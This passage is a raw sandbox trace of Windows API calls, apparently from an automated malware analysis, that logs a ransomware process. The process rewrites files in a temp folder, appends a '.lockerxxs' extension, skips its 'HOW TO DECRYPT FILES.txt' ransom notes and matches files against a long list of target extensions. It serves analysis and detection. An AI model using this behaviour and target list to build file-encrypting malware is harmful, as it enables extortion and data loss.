"c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\mz2rmr9n.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0086.650] GetFileSize (in: hFile=0x90, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x10fcf [0086.651] GetFileTime (in: hFile=0x90, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x981265f0, dwHighDateTime=0x1d5e155), lpLastAccessTime=0x407536*(dwLowDateTime=0xc4c60980, dwHighDateTime=0x1d5d958), lpLastWriteTime=0x40753e*(dwLowDateTime=0xc4c60980, dwHighDateTime=0x1d5d958)) returned 1 [0086.651] SetFilePointer (in: hFile=0x90, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0086.651] ReadFile (in: hFile=0x90, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x10fa9, lpOverlapped=0x0) returned 1 [0086.653] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\MZ2rmR9N.wav") returned="MZ2rmR9N.wav" [0086.653] SetFilePointer (in: hFile=0x90, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0086.654] WriteFile (in: hFile=0x90, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x10fa9, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x10fa9, lpOverlapped=0x0) returned 1 [0086.654] SetFileTime (hFile=0x90, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0086.654] CloseHandle (hObject=0x90) returned 1 [0086.654] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\MZ2rmR9N.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\mz2rmr9n.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\MZ2rmR9N.wav.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\mz2rmr9n.wav.lockerxxs")) returned 1 [0086.657] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x997a5f40, ftCreationTime.dwHighDateTime=0x1d5db53, ftLastAccessTime.dwLowDateTime=0x149e1c10, ftLastAccessTime.dwHighDateTime=0x1d5d7e0, ftLastWriteTime.dwLowDateTime=0x149e1c10, ftLastWriteTime.dwHighDateTime=0x1d5d7e0, nFileSizeHigh=0x0, nFileSizeLow=0x164b1, dwReserved0=0xdc0001dd, dwReserved1=0x4e00c4, cFileName="N nzVfqbCqi.csv", cAlternateFileName="NNZVFQ~1.CSV")) returned 1 [0086.657] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0086.657] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="N nzVfqbCqi.csv") returned -1 [0086.657] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="N nzVfqbCqi.csv") returned -1 [0086.657] lstrcmpiA (lpString1="", lpString2="N nzVfqbCqi.csv") returned -1 [0086.657] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\MZ2rmR9N.wav") returned="MZ2rmR9N.wav" [0086.657] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\" [0086.657] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\") returned="" [0086.657] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\HOW TO DECRYPT FILES.txt" [0086.657] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\how to decrypt files.txt")) returned 0x2020 [0086.658] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\", lpString2="N nzVfqbCqi.csv" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\N nzVfqbCqi.csv") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\N nzVfqbCqi.csv" [0086.658] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\N nzVfqbCqi.csv", pszSpec="*.ems") returned 0 [0086.658] lstrlenA (lpString="*.ems") returned 5 [0086.658] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\N nzVfqbCqi.csv", pszSpec="*.db") returned 0 [0086.658] lstrlenA (lpString="*.db") returned 4 [0086.658] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\N nzVfqbCqi.csv", pszSpec="*.dbf") returned 0 [0086.658] lstrlenA (lpString="*.dbf") returned 5 [0086.658] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\N nzVfqbCqi.csv", pszSpec="*.myox") returned 0 [0086.658] lstrlenA (lpString="*.myox") returned 6 [0086.658] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\N nzVfqbCqi.csv", pszSpec="*.myo") returned 0 [0086.658] lstrlenA (lpString="*.myo") returned 5 [0086.658] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\N nzVfqbCqi.csv", pszSpec="*.qbw") returned 0 [0086.658] lstrlenA (lpString="*.qbw") returned 5 [0086.658] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\N nzVfqbCqi.csv", pszSpec="*.qbb") returned 0 [0086.658] lstrlenA (lpString="*.qbb") returned 5 [0086.658] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\N nzVfqbCqi.csv", pszSpec="*.qbm") returned 0 [0086.658] lstrlenA (lpString="*.qbm") returned 5 [0086.659] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\N nzVfqbCqi.csv", pszSpec="*.qbo") returned 0 [0086.659] lstrlenA (lpString="*.qbo") returned 5 [0086.659] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\N nzVfqbCqi.csv", pszSpec="*.qbx") returned 0 [0086.659] lstrlenA (lpString="*.qbx") returned 5 [0086.659] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\N nzVfqbCqi.csv", pszSpec="*.qba") returned 0 [0086.659] lstrlenA (lpString="*.qba") returned 5 [0086.659] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\N nzVfqbCqi.csv", pszSpec="*.qby") returned 0 [0086.659] lstrlenA (lpString="*.qby") returned 5 [0086.659] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\N nzVfqbCqi.csv", pszSpec="*.qbj") returned 0 [0086.659] lstrlenA (lpString="*.qbj") returned 5 [0086.659] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\N nzVfqbCqi.csv", pszSpec="*.ofx") returned 0 [0086.659] lstrlenA (lpString="*.ofx") returned 5 [0086.659] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\N nzVfqbCqi.csv", pszSpec="*.qif") returned 0 [0086.659] lstrlenA (lpString="*.qif") returned 5 [0086.659] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\N nzVfqbCqi.csv", pszSpec="*.mye") returned 0 [0086.659] lstrlenA (lpString="*.mye") returned 5 [0086.659] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\N nzVfqbCqi.csv", pszSpec="*.mbox") returned 0 [0086.659] lstrlenA (lpString="*.mbox") returned 6 [0086.659] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\N nzVfqbCqi.csv", pszSpec="*.eml") returned 0 [0086.660] lstrlenA (lpString="*.eml") returned 5 [0086.660] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\N nzVfqbCqi.csv", pszSpec="*.pst") returned 0 [0086.660] lstrlenA (lpString="*.pst") returned 5 [0086.660] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\N nzVfqbCqi.csv", pszSpec="*.ost") returned 0 [0086.660] lstrlenA (lpString="*.ost") returned 5 [0086.660] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\N nzVfqbCqi.csv", pszSpec="*.idx") returned 0 [0086.660] lstrlenA (lpString="*.idx") returned 5 [0086.660] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\N nzVfqbCqi.csv", pszSpec="*.dbx") returned 0 [0086.660] lstrlenA (lpString="*.dbx") returned 5 [0086.660] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\N nzVfqbCqi.csv", pszSpec="*.sql") returned 0 [0086.660] lstrlenA (lpString="*.sql") returned 5 [0086.660] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\N nzVfqbCqi.csv", pszSpec="*.mdb") returned 0 [0086.660] lstrlenA (lpString="*.mdb") returned 5 [0086.660] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\N nzVfqbCqi.csv", pszSpec="*.fdb") returned 0 [0086.660] lstrlenA (lpString="*.fdb") returned 5 [0086.660] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\N nzVfqbCqi.csv", pszSpec="*.wab") returned 0 [0086.660] lstrlenA (lpString="*.wab") returned 5 [0086.660] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\N nzVfqbCqi.csv", pszSpec="*.dat") returned 0 [0086.660] lstrlenA (lpString="*.dat") returned 5 [0086.660] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\N nzVfqbCqi.csv", pszSpec="*.txt") returned 0 [0086.661] lstrlenA (lpString="*.txt") returned 5 [0086.661] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\N nzVfqbCqi.csv", pszSpec="*.jpeg") returned 0 [0086.661] lstrlenA (lpString="*.jpeg") returned 6 [0086.661] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\N nzVfqbCqi.csv", pszSpec="*.jpg") returned 0 [0086.661] lstrlenA (lpString="*.jpg") returned 5 [0086.661] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\N nzVfqbCqi.csv", pszSpec="*.png") returned 0 [0086.661] lstrlenA (lpString="*.png") returned 5 [0086.661] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\N nzVfqbCqi.csv", pszSpec="*.php") returned 0 [0086.661] lstrlenA (lpString="*.php") returned 5 [0086.661] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\N nzVfqbCqi.csv", pszSpec="*.cs") returned 0 [0086.661] lstrlenA (lpString="*.cs") returned 4 [0086.661] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\N nzVfqbCqi.csv", pszSpec="*.cpp") returned 0 [0086.661] lstrlenA (lpString="*.cpp") returned 5 [0086.661] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\N nzVfqbCqi.csv", pszSpec="*.rar") returned 0 [0086.661] lstrlenA (lpString="*.rar") returned 5 [0086.661] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\N nzVfqbCqi.csv", pszSpec="*.zip") returned 0 [0086.661] lstrlenA (lpString="*.zip") returned 5 [0086.661] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\N nzVfqbCqi.csv", pszSpec="*.html") returned 0 [0086.661] lstrlenA (lpString="*.html") returned 6 [0086.661] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\N nzVfqbCqi.csv", pszSpec="*.htm") returned 0 [0086.662] lstrlenA (lpString="*.htm") returned 5 [0086.662] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\N nzVfqbCqi.csv", pszSpec="*.xlsx") returned 0 [0086.662] lstrlenA (lpString="*.xlsx") returned 6 [0086.662] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\N nzVfqbCqi.csv", pszSpec="*.xls") returned 0 [0086.662] lstrlenA (lpString="*.xls") returned 5 [0086.662] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\N nzVfqbCqi.csv", pszSpec="*.mp4") returned 0 [0086.662] lstrlenA (lpString="*.mp4") returned 5 [0086.662] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\N nzVfqbCqi.csv", pszSpec="*.ppt") returned 0 [0086.662] lstrlenA (lpString="*.ppt") returned 5 [0086.662] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\N nzVfqbCqi.csv", pszSpec="*.pptx") returned 0 [0086.662] lstrlenA (lpString="*.pptx") returned 6 [0086.662] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\N nzVfqbCqi.csv", pszSpec="*.doc") returned 0 [0086.662] lstrlenA (lpString="*.doc") returned 5 [0086.662] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\N nzVfqbCqi.csv", pszSpec="*.dot") returned 0 [0086.662] lstrlenA (lpString="*.dot") returned 5 [0086.662] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\N nzVfqbCqi.csv", pszSpec="*.docx") returned 0 [0086.662] lstrlenA (lpString="*.docx") returned 6 [0086.662] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\N nzVfqbCqi.csv", pszSpec="*.7z") returned 0 [0086.662] lstrlenA (lpString="*.7z") returned 4 [0086.662] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\N nzVfqbCqi.csv", pszSpec="*.tar") returned 0 [0086.663] lstrlenA (lpString="*.tar") returned 5 [0086.663] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\N nzVfqbCqi.csv", pszSpec="*.bz2") returned 0 [0086.663] lstrlenA (lpString="*.bz2") returned 5 [0086.663] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\N nzVfqbCqi.csv", pszSpec="*.gz") returned 0 [0086.663] lstrlenA (lpString="*.gz") returned 4 [0086.663] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\N nzVfqbCqi.csv", pszSpec="*.mkv") returned 0 [0086.663] lstrlenA (lpString="*.mkv") returned 5 [0086.663] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\N nzVfqbCqi.csv", pszSpec="*.eml") returned 0 [0086.663] lstrlenA (lpString="*.eml") returned 5 [0086.663] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\N nzVfqbCqi.csv", pszSpec="*.msg") returned 0 [0086.663] lstrlenA (lpString="*.msg") returned 5 [0086.663] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\N nzVfqbCqi.csv", pszSpec="*.edb") returned 0 [0086.663] lstrlenA (lpString="*.edb") returned 5 [0086.663] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\N nzVfqbCqi.csv", pszSpec="*.accdb") returned 0 [0086.663] lstrlenA (lpString="*.accdb") returned 7 [0086.663] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\N nzVfqbCqi.csv", pszSpec="*.odb") returned 0 [0086.663] lstrlenA (lpString="*.odb") returned 5 [0086.663] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\N nzVfqbCqi.csv", pszSpec="*.java") returned 0 [0086.663] lstrlenA (lpString="*.java") returned 6 [0086.663] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\N nzVfqbCqi.csv", pszSpec="*.asm") returned 0 [0086.663] lstrlenA (lpString="*.asm") returned 5 [0086.664] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\N nzVfqbCqi.csv", pszSpec="*.pfx") returned 0 [0086.664] lstrlenA (lpString="*.pfx") returned 5 [0086.664] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\N nzVfqbCqi.csv", pszSpec="*.pem") returned 0 [0086.664] lstrlenA (lpString="*.pem") returned 5 [0086.664] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\N nzVfqbCqi.csv", pszSpec="*.p12") returned 0 [0086.664] lstrlenA (lpString="*.p12") returned 5 [0086.664] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\N nzVfqbCqi.csv", pszSpec="*.gpg") returned 0 [0086.664] lstrlenA (lpString="*.gpg") returned 5 [0086.664] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\N nzVfqbCqi.csv", pszSpec="*.vsd") returned 0 [0086.664] lstrlenA (lpString="*.vsd") returned 5 [0086.664] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\N nzVfqbCqi.csv", pszSpec="*.odg") returned 0 [0086.664] lstrlenA (lpString="*.odg") returned 5 [0086.664] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\N nzVfqbCqi.csv", pszSpec="*.raw") returned 0 [0086.664] lstrlenA (lpString="*.raw") returned 5 [0086.664] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\N nzVfqbCqi.csv", pszSpec="*.nef") returned 0 [0086.664] lstrlenA (lpString="*.nef") returned 5 [0086.664] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\N nzVfqbCqi.csv", pszSpec="*.svg") returned 0 [0086.664] lstrlenA (lpString="*.svg") returned 5 [0086.664] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\N nzVfqbCqi.csv", pszSpec="*.psd") returned 0 [0086.665] lstrlenA (lpString="*.psd") returned 5 [0086.665] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\N nzVfqbCqi.csv", pszSpec="*.vmx") returned 0 [0086.665] lstrlenA (lpString="*.vmx") returned 5 [0086.665] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\N nzVfqbCqi.csv", pszSpec="*.vmdk") returned 0 [0086.665] lstrlenA (lpString="*.vmdk") returned 6 [0086.665] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\N nzVfqbCqi.csv", pszSpec="*.vdi") returned 0 [0086.665] lstrlenA (lpString="*.vdi") returned 5 [0086.665] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\N nzVfqbCqi.csv", pszSpec="*.lay6") returned 0 [0086.665] lstrlenA (lpString="*.lay6") returned 6 [0086.665] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\N nzVfqbCqi.csv", pszSpec="*.mpeg") returned 0 [0086.665] lstrlenA (lpString="*.mpeg") returned 6 [0086.665] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\N nzVfqbCqi.csv", pszSpec="*.djvu") returned 0 [0086.665] lstrlenA (lpString="*.djvu") returned 6 [0086.665] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\N nzVfqbCqi.csv", pszSpec="*.tiff") returned 0 [0086.665] lstrlenA (lpString="*.tiff") returned 6 [0086.665] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\N nzVfqbCqi.csv", pszSpec="*.backup") returned 0 [0086.665] lstrlenA (lpString="*.backup") returned 8 [0086.665] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\N nzVfqbCqi.csv", pszSpec="*.pdf") returned 0 [0086.665] lstrlenA (lpString="*.pdf") returned 5 [0086.665] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\N nzVfqbCqi.csv", pszSpec="*.cert") returned 0 [0086.665] lstrlenA (lpString="*.cert") returned 6 [0086.666] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\N nzVfqbCqi.csv", pszSpec="*.docm") returned 0 [0086.666] lstrlenA (lpString="*.docm") returned 6 [0086.666] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\N nzVfqbCqi.csv", pszSpec="*.xlsm") returned 0 [0086.666] lstrlenA (lpString="*.xlsm") returned 6 [0086.666] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\N nzVfqbCqi.csv", pszSpec="*.dwg") returned 0 [0086.666] lstrlenA (lpString="*.dwg") returned 5 [0086.666] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\N nzVfqbCqi.csv", pszSpec="*.nd") returned 0 [0086.666] lstrlenA (lpString="*.nd") returned 4 [0086.666] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\N nzVfqbCqi.csv", pszSpec="*.tlg") returned 0 [0086.666] lstrlenA (lpString="*.tlg") returned 5 [0086.666] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\N nzVfqbCqi.csv", pszSpec="*.lgb") returned 0 [0086.666] lstrlenA (lpString="*.lgb") returned 5 [0086.666] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\N nzVfqbCqi.csv", pszSpec="*.mov") returned 0 [0086.666] lstrlenA (lpString="*.mov") returned 5 [0086.666] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\N nzVfqbCqi.csv", pszSpec="*.xdw") returned 0 [0086.666] lstrlenA (lpString="*.xdw") returned 5 [0086.666] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\N nzVfqbCqi.csv", pszSpec="*.ods") returned 0 [0086.666] lstrlenA (lpString="*.ods") returned 5 [0086.666] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\N nzVfqbCqi.csv", pszSpec="*.wav") returned 0 [0086.666] lstrlenA (lpString="*.wav") returned 5 [0086.666] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\N nzVfqbCqi.csv", pszSpec="*.mp3") returned 0 [0086.666] lstrlenA (lpString="*.mp3") returned 5 [0086.667] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\N nzVfqbCqi.csv", pszSpec="*.aiff") returned 0 [0086.667] lstrlenA (lpString="*.aiff") returned 6 [0086.667] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\N nzVfqbCqi.csv", pszSpec="*.flac") returned 0 [0086.667] lstrlenA (lpString="*.flac") returned 6 [0086.667] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\N nzVfqbCqi.csv", pszSpec="*.m4a") returned 0 [0086.667] lstrlenA (lpString="*.m4a") returned 5 [0086.667] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\N nzVfqbCqi.csv", pszSpec="*.csv") returned 1 [0086.667] lstrlenA (lpString="*.csv") returned 5 [0086.667] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\N nzVfqbCqi.csv" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\N nzVfqbCqi.csv") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\N nzVfqbCqi.csv" [0086.667] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\N nzVfqbCqi.csv" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\N nzVfqbCqi.csv") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\N nzVfqbCqi.csv" [0086.667] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\N nzVfqbCqi.csv", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\N nzVfqbCqi.csv.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\N nzVfqbCqi.csv." [0086.667] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\N nzVfqbCqi.csv.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\N 